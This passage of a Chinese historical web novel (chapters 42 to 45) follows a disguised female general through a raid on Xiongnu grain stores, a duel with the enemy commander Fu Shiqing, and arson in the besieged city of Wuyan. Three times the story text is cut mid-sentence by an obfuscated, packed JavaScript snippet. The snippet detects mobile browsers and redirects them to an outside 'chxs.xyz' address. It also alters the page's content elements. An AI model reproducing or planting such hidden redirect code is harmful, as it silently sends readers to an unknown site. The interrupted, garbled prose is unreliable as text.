听了孤弈行的夸奖,陆耳顿时起了兴致,信心满满地继续奋笔疾书了起来。 几日后,京中言府。 言煜正在书房翻阅文书,飞鸢便在门外扣了扣门。 “进。” 言煜见是飞鸢,随即放下了手中的文书,温言道:“是幽州来信?” “是。”飞鸢点了点头。 言煜接过飞鸢手中的信笺,小心地抽出信纸,细细浏览了起来,但没过多久,他便眸色渐深,握着信纸的那只手微微攥紧。 从开始读信到读完,飞鸢见言煜不发一言,脸却是黑了不少,便知事情有些不对。 飞鸢关心自家少爷,便忍不住问:“少爷,是那边出事了吗?” 飞鸢不提还好,如今一提言煜满心满眼都是信中那描绘郎情妾意的戏码,还有那两句刺入他心里的“目光灼热”和“交谈甚欢”。 他冷冷地笑了一声,素来藏而不露的凤眼深处此刻暗流涌动,波涛四起。 他又没忍住看了一眼信上那刺目的两行,好像生怕自己看错了似的,声音低到了骨子里,还夹杂着些许尾音:“目光灼热……交谈甚欢?” “好你个孤弈行…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828753|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”言煜回想起她与自己分别前一日说的话,结果这才过了几日便全然忘了! 另一边,打完几架之后,第九伍的所有人顿时对孤弈行服服帖帖的。 这不!孤弈行刚从外面回来撩开帘子,就发现那鲍哥已经带着兄弟们给她,琴潇和小默收拾好了营帐里位置最好的三张床,坐在一旁等着她回来了。 见她回来,更是笑得一脸热情,一口一个洛姑娘地叫着:“洛姑娘,您看我们都给您收拾好了!” 孤弈行勾了勾唇,走到自己那看上去格外整洁的床榻旁,盘腿坐下。 “洛姑娘,你这一身拳脚功夫是从哪儿学来的啊?怎么这么厉害!”旁边一个小眼睛的新兵忍不住问道。 “没什么,以前看过一些书学着玩罢了。” 孤弈行自然不会老实巴交地回答他们的问题,是以刻意岔开话题:“对了,还不知道兄弟们叫什么名字呢!” 说起名字,大家顿时来了劲,全然忘了方才问孤弈行的事儿了。 第一个说话的是那最先挑事的鲍哥,只不过此时已是没有半分盛气凌人的模样,对孤弈行反倒是格外尊敬:“我叫鲍大海,是这儿的伍长!因为算是老兵,所以他们都叫我鲍哥!” “洛姑娘,先前是我狗眼看人低,您这样的女巾帼别跟我一般见识!” 出乎孤弈行预料的是,这人如此能屈能伸,不仅态度极好,还给道起歉来了。这可把一旁的小默给看愣了。 孤弈行眉心微挑,笑容爽朗。 “我们也算不打不相识!以前的事情就翻篇了,以后谁都不许再提!我们来当兵只有一个目的,那就是保家卫国。以后都是兄弟,便要共进退。” 众人被孤弈行说得心中愧疚,但又热血澎湃。他们没想到这洛姑娘有如此大的气度,心中都暗暗叫服。 “那其他兄弟呢?” “我叫阿四!因为在家里排行老四!我没啥本事,就是跑得快!”说话的是之前的小眼睛新兵。 “俺叫熊二牛!俺也没啥本事,就是力气大,能干活!”熊二牛说完憨笑了起来。 孤弈行见状也笑,然而她似是想到了什么,道:“跟兄弟们打听一个事儿,今天后来和我打的那个小白脸,是什么来历?” 话音未落,鲍哥,阿四和熊二牛面面相觑。 鲍哥微微皱眉,道:“洛姑娘,不是我们故意瞒你,是我们确实也不知道那人叫什么!我们都叫他书呆子!他一直神神秘秘的,从不透露身份。” 从不向别人透露身份。孤弈行勾了勾唇,想着这人的确和自己料想的一样有问题。 “洛姑娘,你不会是喜欢那小白脸吧!”阿四见孤弈行不说话,还以为是因为那份心思,顿时用一脸看好戏的样子看着她。 孤弈行方才喝了口茶,听到这话被呛得连连咳嗽:“真不是!你们别误会!” “喜欢就喜欢,姑娘不用不好意思!”那阿四以为她是做贼心虚,笑着起哄道,“只是我看那小白脸除了脸长得好看点也没什么好的!” 孤弈行笑着摇了摇头,脑海中顿时浮现出一张熟悉的面庞。她下意识地撩开帘子,往京城的方向望去,笑意浓重。 “我有喜欢的人了。” 众人就这么有说有笑地聊到了黄昏,吃过晚饭便歇息了。但这一夜,却并不安稳。 42. 计谋 众人睡下去没多久,就听见营帐外传来阵阵声响。 “紧急军情!全体集合!” 孤弈行和琴潇因为先前常年行军打仗的缘故,本就睡得很浅,马上起了身,随即去拍一旁的小默和鲍大海。 “这么晚了……什么事儿啊……”阿四睡得很熟,此刻被拍醒还有些迷迷糊糊的,嘴里呢喃了几句。 “快起来,我怀疑是匈奴来犯。”孤弈行说着整理好衣服就径直往外走去。 不出孤弈行所料,不只第三营紧急集合,所有的幽州守军此刻都严阵以待,各营分别由各营营长下达命令。 列队完毕,孤弈行远远看见一个熟悉的身影,定睛一看才发觉是早上负责征兵的那个满脸胡渣的糙汉子。 孤弈行见他独自一人站在第三营正前方,便知他原是第三营营长。一介营长沦落到去负责征兵,不仅说明幽州守军军力空虚,也说明他在这军中不受重用。 “安静!”第三营营长胡永刚一声高喝,众人顿时鸦雀无声。 “匈奴大军目前于距离我幽州城墙不到二十里处徘徊,接上级命令,我营士兵全部前往西侧竹林,搜集制作弓箭所需材料!即刻出发!” 话音未落,下面一片死寂。众人面面相觑,气氛顿时压得人喘不过气来。 不要说这些新兵了,就连孤弈行打了这么多仗也没见过这么抱佛脚的!敌军马上要打过来了,知道武器不够去现做起来了!早干吗去了!这不纯纯胡闹! 鲍大海是跟着胡永刚打过一年多仗的老兵,他自是知道胡永刚的难处,于是欲言又止。 “怎么?一个个的都想违抗军令吗!”胡永刚喝道,“全体都有!向右转!跑步前进!” 没过多久,众人便进了西侧的竹林,开始砍竹子,刮竹皮,刨箭杆。 “洛洛……洛姐姐,外面……真的要打仗了吗?”小默一边用镰刀刮着竹皮,一边心事重重地说道,眼眸深处满是担忧。 “听说这城外有五万大军,是真的吗?”阿四问道。 五万?孤弈行勾了勾唇。要是以这方圆百余里为界,别说是五万,恐怕说是十万都只会多不会少。 “伍长,我们在幽州总共有多少人啊?” 鲍大海此时眉头紧锁,脸色有些发黑。他深深地吸了一口气,声音却难得有些有气无力:“不到两万。” 此话一出,阿四也埋头不说话了。过了良久,他才小声地嘀咕了一句:“那不是叫我们去送死……” 孤弈行眉心微挑,冷笑一声。她想,一个普通士兵都明白的道理,那位好歹之前也是将领出身,如今却不明白。可见他早已是沉溺温柔乡,迷了头脑。 要知道,幽州守军与匈奴大军的差异,如今不仅仅在于兵力的悬殊,更在于武器装备的差异。用一堆上了年代的破铜烂铁,对人家主力的精弓良弩,再加上城墙年久失修,能打赢倒怪了! 孤弈行知道言煜回京之后必然会想办法让那位派人支援,援军和精良装备一到,孤弈行不担心此战不胜,但前提是他们得撑到援军到达。 援军到达之前,他们少说也要撑个半月时间才行。但看如今形势,按兵不动等敌来犯则是必输无疑,为今之计唯有兵行险招,方可能有一线生机。 孤弈行正想着,胡永刚绕到了她的身旁。他瞥了一眼孤弈行手中刨好的箭杆,点了点头:“做得不错。” 孤弈行总觉得胡永刚走过来可不是来夸她一句做得不错这么简单,但她还是选择笑了笑,装傻充愣:“多谢营长认可!” 果然,胡永刚说完顺势在她身边坐了下来,他微微低着头,拾起地上刚砍倒的竹子动作熟稔地刮起了竹皮,神色不显。 “听说你昨日和大海打了一架,他根本不是你的对手。” 孤弈行勾了勾唇,随即将嘴角的笑意隐去了些:“不过是以前家里条件好的时候碰巧读过一些兵书,练过一些外家功夫罢了,也没什么的。” “你还懂兵书?” 话音未落,孤弈行隐隐看见胡永刚的眼眸深处闪过一丝光亮。他转过身来看着她,声音低沉,却不乏力量,语气听上去将信将疑。 懂兵书?她以前带兵打仗的时候早就把这天下兵书都烂熟于心的好吗! 要是放在平时,孤弈行真想怼他一句:“看不起谁呢!”但想归想,她此刻只是洛川,又不是孤弈行,自然是不可能这么做的。 “略懂一些。” “也是。”胡永刚似是也不意外了,“在征兵的时候你能说出那番话,我便知道你与寻常女子不同。” “那依你之见,不论其他,我军与敌军谁胜谁负?” 孤弈行早就猜到了他的意图,但她也不好把话说得太明,便也只是有意点他。 “依洛川之见,援兵未到,按兵不动乃下策,从粮草入手或许可以拖延时间。” 胡永刚微微颔首,眼神中流露出几分赞赏之色。他正欲起身,却被孤弈行拦住了,孤弈行在他耳畔小声说了几句,然后继续盘腿刨箭杆了。 待到胡永刚走后,鲍大海,阿四几个都围到了孤弈行身边,一脸好奇的模样。 “洛姑娘,你和营长都说什么了?”阿四忍不住问。 孤弈行眉心微挑,眼尾微微上扬,一脸云淡风轻的模样:“没什么,我想我们很快就要有事干了。” 这时,京城也收到了来自幽州的消息。太和殿内,众臣都站得笔直,但无一人不忧心忡忡,殿内气氛顿时格外沉重。 “众爱卿以为当如何?”宗武帝高坐于主位之上,眉头微微蹙起,神情格外严肃。 “臣以为陛下可派人与那匈奴谈判,陛下龙威必能吓退那些蛮人!” 蒋闻年先站了出来,一脸阿谀奉承的模样。 言煜一身紫色官袍,长身玉立于殿前。他薄唇轻抿,眸色渐深,嘴角泛着丝丝冷意。 “陛下,臣以为此时谈判为时过晚,反而会让匈奴以为我雍朝无人能战,最后得寸进尺。臣以为陛下当派兵支援幽州,抵御外敌,扬我朝国威!” 光禄大夫魏舒朗听着蒋闻年这般胡闹终究是忍不住了,他面色微微涨红,言辞激荡,官袖因为身体的颤动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828754|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而微微晃动。 “臣附议!”大理寺卿徐意晚也占了出来。 “臣附议!” “臣附议!” 越来越多的人站出来附议,言煜微微蹙起的眉头松了些。 “焕卿怎么看?”宗武帝见言煜未曾说话,便问了一句。 言煜似是并不意外,他上前一步微微鞠躬,薄唇微启,面不改色:“臣也认为魏大人所言不无道理。” 宗武帝微微颔首:“朕也正有此意,对于领兵之人众爱卿心中可有人选?” 这问题倒是把绝大多数朝臣问倒了。 众人皆心知肚明,这些年来宗武帝的疑心病越发重了,不少将领被撤职查办,也有不少被逼着交出兵权后在回乡的路上意外身亡。如今这偌大的雍朝,能领兵打仗之人还真是屈指可数了。 “怎么?我雍朝是没有人了吗!” 看到众朝臣面面相觑,不发一言,宗武帝的脸色很快阴沉了下来,声音有些沙哑,却极具压迫感。 “臣惶恐!” “微臣惶恐!” 其实也不是真的没有人能领兵,只是没有人想步那些人的后路罢了,是以都选择了明哲保身。毕竟就算宗武帝再龙颜大怒,也不能无缘无故把这满殿的朝臣都杀了不是? 此时的太和殿,静得连众人的呼吸声都能听得一清二楚。而这个时候,却响起了一个年迈的声音。 “臣苏护自请领兵支援幽州,不退匈奴誓不还朝!” 挺身而出的是归德将军苏护,岁月在他身上已经留下了沧桑的痕迹,但他只是笔直地站在那里,便给人一种宝刀未老的气势。 苏护老将军能在这个时候站出来,其实言煜毫不意外。只是他敢冒天下之大不韪这一点倒是让言煜心生敬佩。 只是作为孤弈行的旧部,这些年宗武帝虽保留了苏护的官职,却削弱了不少他手中的兵权。宗武帝本就对他心怀芥蒂,自不可能放心让他带兵前往。 “苏老将军主动请缨朕心甚慰,只是老将军有旧疾在身,还是在京城好好休养为好,其他的事就交给年轻人吧。” 此言一出,言煜微微敛眸,神色不显。 “朕心中倒有一人选。”宗武帝缓缓侧目,微微凹陷的眼窝里眸光深沉,“不知焕卿可愿替朕领兵支援幽州?” 宗武帝中气十足的声音尚在殿内回荡,殿下便有人窃窃私语了起来。 众人心中所想无非一点:言煜虽智谋过人,说到底也只是一介文臣,要说领兵打仗确实有些胡闹了。 说来说去,宗武帝选择派言煜前去的原因不过是因为言煜身为吏部尚书,手中本无兵权,回京之后兵权自然能被收回,此一来便省去了不少事。再加上宗武帝视言煜为心腹,派他前去算得上是最稳妥的办法。 众臣心中皆道宗武帝好计谋,但实际上这日朝中局势的走向全在一人掌握之中。 “微臣领命,必不会辜负陛下信任。” 言煜微微鞠躬,一言一行令人挑不出一丝错处。他薄唇轻抿,素来矜贵庄重的凤眼深处此刻暗流涌动。 43. 奇袭 退朝后,魏舒朗缓缓走到言煜身旁,神色一脸阴沉。 作为言钟正的旧友,又是从小看着言煜长大的前辈,魏舒朗心中对言煜此次要领兵出征一事甚是关切:“煜儿,你身体本就不好,战场上刀剑无眼,此一去务必小心。” 言煜微微颔首,声如温玉:“多谢魏伯伯记挂,言煜会记在心中。” 魏舒朗欣慰地点了点头,他似是欲转身,然而只是瞥见那华丽庄严的太和殿匾额的一角,他便长长地叹了口气,回过身来。 “如今这世道,当真可笑。”魏舒朗低声说道,浑浊的眼眸深处神色不明。 “魏伯伯慎言,小心隔墙有耳。”言煜薄唇轻抿,恍若看破凡尘,素来矜贵庄重的眼眸深处却有微光浮动。 “伯伯也只在你面前说说罢了。”魏舒朗眸色渐深,声音格外沙哑,“忠良被害,小人谄媚,天子……” “当真可笑啊!” 幽州。 这日入夜,第三营收到上面命令夜袭敌营,烧毁敌方粮库。 第三营兵分三路,一路由营长胡永刚带队从正面吸引对方注意,一路由第四伍伍长带队在周围布置陷阱,另一队胡永刚特令由洛川带队从后方烧毁敌方粮库。 “洛姑娘,我们已经在这儿蹲了快一个时辰了,什么时候动手啊?”阿四趴在距离敌营不到十里地的灌木丛里趴久了,双腿都有些麻木了。 孤弈行却是丝毫不曾着急,她下意识地用右手指节轻轻地敲击着手中的箭柄,眼神异常冷静。 “不着急,等营长那里得手,匈奴势必会派出部分军队,届时粮库周围守备变弱,便是我们出手之时。” 这时,孤弈行却是想起了一个人,她侧过身去拍了拍陆耳的肩膀,笑道:“你不是说你耳朵好使吗?帮我听听那两个匈奴兵在说什么。” 陆耳点了点头,闭上眼睛,耳朵微动:“他们在说……前方发现敌军踪迹,乌桑军师命你们派人包围敌军。” 乌桑。孤弈行勾了勾唇,唇边渗出一丝冷笑:许久未见,当真是冤家路窄。 “他们还说,已经派人去通知符时清将军了,将军的骑兵一个时辰就到。” 这位叫符时清的,孤弈行也就是最近才听闻其名。据说他出生贵族,用兵极为大胆,乃后起之秀,不到而立之年便成了匈奴有名的将才,驻守雍朝边境的老将有不少都吃过他的苦头。 只可惜他领兵晚了一些,不然之前在战场上就有交手的机会了。孤弈行心想,但她如今最想知道的是,符时清不好好在军营待着,这三更半夜的带兵去了哪儿? 莫不是……他本想在这一日率骑军夜袭武延,然后正好被自己撞上了? 孤弈行的眸色逐渐暗了下来:若真是如此,那可是好险。武延城守军皆知匈奴准备攻打幽州,自想不到符时清此时会大胆绕道率领骑兵奇袭武延。 这个符时清,确实足够狡猾。她倒还有点期待,会一会他了! 待到粮库周围守备空虚,孤弈行挥了挥手,率领士兵乘虚而入。他们不欲发出声响,也并不想恋战,只是在粮库周围倒满油,将其点燃。 “走水了!走水了!” 有几个匈奴士兵喊道,随即往孤弈行所在的方向望去。但这日夜里东北风格外强劲,火焰越来越大,自匈奴营地内东北部的粮库一路烧到西南部匈奴中军的营帐。 火势迅猛,以至于那些士兵也来不及管孤弈行等人的去留,就投入了救火的行列。 “真是太痛快了!这下没有了粮草,看这帮匈奴人还怎么攻打我们幽州城!” 鲍大海看着愈来愈猛的火势,眼睛几乎迷成了一条线。 但不知为何,明明事成,孤弈行的胸口却像压了一块石头一般沉甸甸的,高兴不起来。 没了大部分的粮草,在幽州城外扎营不到二十里的匈奴军队看似已经不再成为威胁,孤弈行心中唯一担心的唯有那支骑兵。 幽州背靠燕山,骑兵在很多时候并不能长驱直入,但武延城在地势上唯一的依仗便是青川峡谷,而骑兵在青川峡谷之中恰能发挥最大作用。更何况,武延城外未必就没有部分匈奴军队徘徊。 若她是符时清,面临如此局面,她会在救完火后第一时间让骑兵丢掉重武器,只带几日的干粮,轻装简行,直往武延城而去,在与军队会合后直接打对手一个措手不及。 如果是这样的话,他们剩下的时间不多了。 但就在孤弈行一行人按照原计划绕道回城的路上,陆耳却听到了逐渐靠近的马蹄声。孤弈行心知不妙,立刻下令让众人隐蔽,并准备好武器。 果然,没过多久,为首的白马便停了下来。 孤弈行透过灌木丛隐隐看见那人身着素白柳叶甲,眼眸深邃,剑眉凌厉,这副皮囊倒是算得上清秀俊朗,那人正是符时清。 “符将军,怎么了?”符时清身旁的副将见他微微侧目,似在环视四周,问道。 符时清微微敛眸,神色不明:“没什么。”话音未落,他便策马扬鞭而去。 “多多多……多亏了洛洛姑娘和和……陆耳。”待到那群骑兵走远了,小默说道。提到洛川的时候,他的眼睛好像通透的宝石一般,眼神中满是敬佩。 孤弈行也被他这模样逗笑了,她眉心微挑,嘴角忍不住微微上扬。 然而下一刻,孤弈行就发现一旁的陆耳用一种似曾相识的眼神看着自己,她便知道又有一出故事等着自己了。 不得不说,陆耳在听力方面是人才,在编故事方面……也是人才。 如此一来,孤弈行都无法想象,下次那狐狸见到自己的时候,心里得酸成什么样? 孤弈行一行人回营之后没多久就以上了其他两路人,胡永刚见到孤弈行之时脸色红润,满是喜气,中气十足。 “洛川,这次多亏了你的计谋,我们才能如此痛快地摧毁敌军粮库!你放心,我已向上面如实汇报,到时候少不了你的嘉奖!” “营长,眼下恐怕还有一件万分紧急之事,我们不妨到 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其实,她也并不清楚。 到了后半夜,军令急下,上面批下了一部分战马,包括第三营在内的一支特编骑兵很快投入了急行军的行列。 同时,由于洛川提出火烧敌军粮库,加之这次发现了符时清或将奇袭武延的秘密,洛川被破格提拔为郡尉,率领这支军队赶往武延。其他人则依旧坚守幽州,以防匈奴作乱。 与此同时,参与粮库行动的士兵也都升职二等,胡永刚则也被提拔为郡尉,与洛川同职。 纵然夜色正浓,孤弈行却丝毫不敢停下,一行人一路往武延飞驰而去。 然而纵然是急行军,想要到达武延至少也需一日一夜,众人饿了便从衣袖里掏出一个饼子一边骑马一边啃,没有一个人喊一句累。虽然孤弈行知道这般强度的奔袭,众人的眼睛早已是血丝弥漫。 孤弈行率军穿过青川峡谷之时,已是第二日后半夜,将近黎明。 天色虽还有暗,但隐隐能看见有些许光亮散落在地平线上,孤弈行感觉自己的视野逐渐清晰了些。 “郡尉,后面有马蹄声!”陆耳突然喊道。 孤弈行心道不好,想是那符时清赶上来了,如果在进武延城之前被架住那便有些棘手了。 “传我令,加快行军速度!” “是!” 一声令下,孤弈行率军急行,一开始确实拉开了一段距离,但没过多久孤弈行便发现后面的人赶了上来,而且像狗皮膏药一般一路跟着他们到了武延城外,甩都甩不掉。 “林宵,你快去通知沈将军!没有我的手势,万不可贸然开城门!”孤弈行高声喝道,随即向琴潇使了个眼色。 “是!”琴潇想起昨日孤弈行对自己说的一句话,点头应道。 孤弈行心想,这次若不让这人吃点苦头,她心里这口气可是咽不下去! 44. 计策 孤弈行率军一路行至武延城前,随即下令调转马头准备迎敌。 “洛郡尉,敌众我寡,现在该如何是好?”胡永刚眼睁睁地看着匈奴大军迎面而来,其声势之大,看着至少有三万之众。 孤弈行嘴角微微勾起,一副云淡风轻的模样:“那便也让那符时清也尝尝敌众我寡,腹背受敌的滋味。” 胡永刚一时有些摸不着头脑,但经过这些日子的相处,他决定孤弈行是个难得一遇的将才,甚至应该是……帅才!是以,他虽不解,仍相信她能带领弟兄们渡过难关。 “列阵!” 孤弈行一声令下,由幽州守军特编的骑军分散开来,逐渐形成数十簇队列整齐的骑兵。不仅如此,相隔的骑兵整列之间还组成了以小组为单位的穿插队列,整个队列分和数变,竟有种气吞山河的气势。 而另一边,匈奴军队放缓了脚步,也逐渐形成队形。符时清依旧身着素色柳叶甲,骑于白马之上,他似在面前这支骑兵之中一眼望见了为首的洛川,忍不住打量了起来。 他行军多年,也曾与雍朝军队交手数次,素来知晓幽州守军中有女子当兵的先例,但这带兵打仗的女将军,他倒还是第一次见。加之此人竟能识破他的计谋,赶来支援,倒是有些本事! 只见面前女子一身玄甲,长发高束,给人一种说不出的果断凌厉之感。 分明是一双杏眼,一副柳叶眉,看着却丝毫没有寻常闺阁女子的含蓄扭捏。那眼神,倒好像是历经过无数次沙场生死的……将领! 在符时清的脑海里,能与面前这位女子比肩的,恐怕只有那位他未曾见过一面的人了。 “符将军,久仰大名,在下洛川!” 孤弈行骑于马上,一手握住缰绳,一手手持长枪,眉心微挑。 符时清眉眼清冷,缓缓开口,声音也是冷冷的:“你若此时认输,我会饶你一命。我保证,你会在我的手下有自己的一席之地。” 不是!这也太嚣张了吧!这等于是还没开战直接劝降对方主将的程度啊! 孤弈行简直是怒极反笑,但如此一来,她倒是更像看看他黑着脸的狼狈模样了。 “多谢符将军好意,只不过我洛川从不认输,也从不认命!”孤弈行眼尾微微上扬,眼眸深处杀气弥漫。 话音未落,符时清正想着发号施令,却听见背后不远处传来阵阵擂鼓声和马蹄声。 那声音竟似有排山倒海之势,自青川峡谷回荡而来,不仅无停息之势,反而愈来愈响,似逐渐逼近。 “将军!我们好像……被包围了!”那副将面色惊恐,道。 符时清对这支仅由几千人组成,却面对他们几万大军丝毫不惧的幽州守军本就起疑,此刻以为入了套,面色逐渐阴沉了下去。 “符将军,这是怎么了?在下看你脸色可是不太好!” 孤弈行见符时清中套,还嫌不够热闹,继续煽风点火。 结果那人估计是想着擒贼先擒王,还想着翻局,直接单枪匹马地就向自己而来了。 孤弈行自然也丝毫不惧,直接骑着战马向他迎面而去。 二人皆没有发号施令,故而这阵前的一战更像是主将的单挑。随着马蹄声越来越响,二人的距离逐渐拉近,所有人都屏着一口气死死地盯着面前的局势。 符时清最先下手,手持长枪向孤弈行扫去。孤弈行早有准备,压低身面巧妙躲过一招,而后抓住时机提起长枪向符时清腹部刺去,符时清随即侧过身去,躲过了一刺。 这一来一回下来,可谓是有惊无险,两人都没讨着什么便宜。 然则越是如此,符时清对面前这人就越是好奇。 在此之前,他从未听过此人名讳,但她一出手便让自己的计谋落空,如今又让自己身处险境。不仅如此,此人身手矫健,他丝毫摸不透她的底牌,也不知她使出了几分实力。这一切……真是越来越有意思了。 “这次轮到我了!” 孤弈行勾了勾唇,说完便旋身提枪向符时清刺去。她的招式极快极猛,手中长枪一刺一回,没有丝毫犹豫,有好几次都让符时清觉得自己后背一阵发凉。 一阵攻势下来,符时清竟发现自己腰间的长衫被划开了一个小口子,此时不断有凉风灌入。在他看来,虽未曾伤及肌肤,却也已是极大的挑衅。 他的眼眸微红,随即挥舞长枪接住面前人的攻势,两支长枪死死地抵在一起,恍若游龙交错,金属碰撞发出的声响于空中回荡。 四目相对,顿时杀气弥漫。 孤弈行心中平静,毫不慌乱,反倒是符时清此时眉头紧蹙,似是为事所扰。 孤弈行自然知道他心中担忧是因为他以为此时自己腹背受敌,方才主动出击不过是想搏一搏,看能不能先杀了她直接攻城,但此刻计划落空,若是再缠斗下去,便更难抽身了。 然而孤弈行要的就是他这心中所虑! 符时清死死压着长枪,想让孤弈行不能动弹。但孤弈行岂能让他得逞? 她干脆右手一松,飞旋着腾空而起,在符时清还没反应过来之前接住长枪向他左胸狠狠刺去。 毕竟有着丰富的战场经验,凭着下意识的本能反应,符时清侧过身去躲避,但还是能感觉到那尖锐的长枪浅浅划破了肌肤,胸口处传来一阵温热。 长枪的枪头上,鲜血滴落。 “将军!”符时清的副将喊道。 符时清右手抚着伤口,待到翻过手时,入目只见一片殷红。他自是心中不甘,眼眸深处血丝弥漫,但纵然如此,他也深知留得青山在,不怕没柴烧的道理,再缠斗下去便真成了瓮中之鳖! 于是符时清调转马头,高喝道:“撤军!” 孤弈行身后,所有人都忍不住欢呼起来。只有孤弈行静静地欣赏着这人走了几步又回过头来盯着自己的,幽愤的眼神。 孤弈行勾了勾唇,心想:也就是这小子命好,方才就差一点,她的长枪便能直直刺入他的胸口! 符时清率军一路奔袭,期间正想着派兵布阵突出重围,但过了大约半个时辰却没有见到半个敌人,就连先前的马蹄声也逐渐听不到了。符时清这才知道中了计,想到自己就这么被耍了,恨得牙痒痒。 “洛川……”符时清提着长枪的那只手微微攥紧,声音逐渐低沉。 另一边,沈离松下令打开城门,孤弈行率军入城修整。长途跋涉了整整一日一夜未曾合眼的幽州骑兵这才有了休息的机会,沈离松特命府中厨房准备一些餐食款待。 一屁股坐下来,熊二牛便开始忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828756|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住摩拳擦掌,憨笑道:“这将军府里,一定有很多很多好吃的……” 此时孤弈行倒是顾不上什么口腹之欲,能吃饱就成。自从早上与符时清交手之后,她便总觉得有根弦紧绷着。 这一次他是不小心栽在自己手里了,但此人极为自负,势必也是睚眦必报之徒,此时必然想着找她报仇。她倒是没问题,只是武延城中的百姓便不同了,为此她需得留心才是。 不一会,沈离松端着几个菜走来。 孤弈行远远地望着那熟悉的身影,心中竟不由得生出几分感慨与愧疚。 沈离松还是像以前一样,事事喜欢亲力亲为。这西北边护使虽算不上什么多大的官职,但至少也不需要他自己端菜,由此可见,他的心还真是一点没变。 说起愧疚,那便是因为沈离松也老大不小了,还是光棍一个,就连她之前也没想着给他找个姑娘认识,再指个婚什么的!说来终究也有些惭愧。 但想归想,孤弈行也觉得此事还是顺其自然比较好,更何况如今形势紧张,也只好往后挪挪。 熊二牛看到沈离松走来,以为美酒佳肴马上要上桌,逐渐蠢蠢欲动,定睛一看才发现……哪有什么美酒佳肴的影子! 不过是几个夹了一块肉片的饼子,和银针差不多细的肉丝炖粉条,一些看着就没有什么油水的炖萝卜,还是……少得可怜的花生!熊二牛特地数了数,一共十四颗。 熊二牛忍不住挠了挠头,心里犯嘀咕:这伙食,还不如之前在幽州军营里吃的呢,还不够他塞牙缝呢…… 孤弈行心中却是有了些许思索。 沈离松自知招待不周,不免有些窘迫。他望着孤弈行,下意识地脱口而出:“王……” 然后他意识到有些不对,咳嗽了一声连忙改口。 “望洛郡尉,还有诸位莫怪,这半月来流民突增,城中粮食早就供不应求。由于匈奴在外徘徊,为了百姓的安全着想,我便放他们入了城,这……已经是我们府中仅剩不多的食物了。” 果然如此,与孤弈行所料分毫不差。只是沈离松应当还少说了一点,匈奴军队想要隔绝武延和外界的联系,目的便是想让武延守军弹尽粮绝,把武延城变成一座孤城。 这恐怕,又是那位姓符的手笔! 刚出绝境又入绝境,由此是真的可见这雍朝的内忧外患有多严重了!孤弈行心想。 “无妨,这又不是沈将军的错。”孤弈行坦然一笑,随即拿了一块饼子一口接着一口吃了起来。 虽然饼子中间只夹着一块肉片,但毕竟也有点油香,加之孤弈行日夜奔袭早已腹中空空,三下五除二便吃完了。随后,她拿了两颗花生,潇洒地往嘴里一扔,坐在一旁翘起了二郎腿。 众人在孤弈行的带动下也吃了起来,但还没吃多久,孤弈行便看见不远处有火光。 “不好!”沈离松高喝一声,随即集结部下出了将军府。 孤弈行自然也闲不住,便跟了过去。 这几日天干物燥,是以火势很猛,孤弈行和沈离松赶到的时候那间仓库几乎被烧成了个焦炭,除了七零八落的废铜烂铁,什么也没剩下。 孤弈行知沈离松自责,但她更知此时不是自责的时候,于是拍了拍他的肩膀:“先救人要紧。” 45. 抗旨 仓库外,焦灰散落得到处都是,目之所及皆是一片狼藉。 孤弈行顺着仓库外围一路走去,却在一个角落停下了。 她缓缓蹲下,食指轻轻地往地上一抹,焦灰染上了指腹,但她分明还看到焦灰之中掺杂着些许木屑。仔细一闻,还能闻到尚未消散的烟火味。 有焦灰并不奇怪,奇怪的是这些木屑是从哪儿来的。 从方位来看,孤弈行此时所处的位置原本应是仓库外侧。仓库内存放的一般都是些易燃易爆物,仓库外不该有木材堆积,这一点沈离松不可能不明白。 如此看来,那便是人为纵火。 几乎在第一时间,孤弈行便联想到了符时清。想必是自己先前一把火烧了匈奴的粮库,再加上自己伤了他,这人怀恨在心,来报复了! 不过这姓符的还真不是个省油的灯,身上都挂彩了还不能安安静静地消停一段时间! 孤弈行冷哼了一声,随即起身继续寻找仓库附近是否有伤员。 没走几步,孤弈行便远远看见一个瘦弱的身影。待到走近了些,她才看清了那人的脸。 这是一个看上去不过二十岁的小姑娘,皮肤被焦灰抹得黝黑,但还能隐约看见原本水灵的脸蛋。她斜斜地靠在一边,用警惕的眼神看着孤弈行。 孤弈行心想她该是被吓懵了,便好心伸出手去扶她的肩膀,想要扶她起来。侧身之时,孤弈行隐约看见她眼神一动,便知不对,果然见她指尖藏着一根银针,不由分说地向自己脖颈处刺去。 好在孤弈行反应快,反手用手肘顶住她的手腕,再稍稍用力,她手腕一松,那根银针便径直落到了地上。 孤弈行低头看那银针,只见银针针头隐隐发黑,想是涂了剧毒,当真是好险! 